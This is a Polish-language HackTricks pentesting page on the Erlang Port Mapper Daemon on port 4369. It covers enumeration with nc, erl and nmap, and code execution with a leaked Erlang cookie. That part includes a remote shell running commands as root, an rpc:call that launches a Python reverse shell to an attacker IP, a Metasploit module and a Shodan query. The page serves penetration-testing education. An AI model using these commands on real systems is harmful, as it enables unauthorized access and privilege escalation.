5.4 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Podstawowe informacje
Erlang Port Mapper Daemon (epmd) działa jako koordynator dla rozproszonych instancji Erlang. Odpowiada za mapowanie symbolicznych nazw węzłów na adresy maszyn, zapewniając, że każda nazwa węzła jest powiązana z określonym adresem. Ta rola epmd jest kluczowa dla płynnej interakcji i komunikacji między różnymi węzłami Erlang w sieci.
Domyślny port: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
To jest używane domyślnie w instalacjach RabbitMQ i CouchDB.
Enumeracja
Ręczna
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
Automatyczny
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Zdalne Połączenie
Jeśli możesz ujawnić ciasteczko uwierzytelniające, będziesz w stanie wykonać kod na hoście. Zazwyczaj ciasteczko to znajduje się w ~/.erlang.cookie
i jest generowane przez Erlang przy pierwszym uruchomieniu. Jeśli nie zostało zmodyfikowane ani ustawione ręcznie, jest to losowy ciąg [A:Z] o długości 20 znaków.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
Więcej informacji w https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Autor dzieli się również programem do bruteforce'a ciasteczka:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
Połączenie lokalne
W tym przypadku zamierzamy wykorzystać CouchDB do eskalacji uprawnień lokalnie:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
Przykład zaczerpnięty z https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Możesz użyć maszyny Canape HTB, aby ćwiczyć, jak wykorzystać tę lukę.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "na porcie"
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.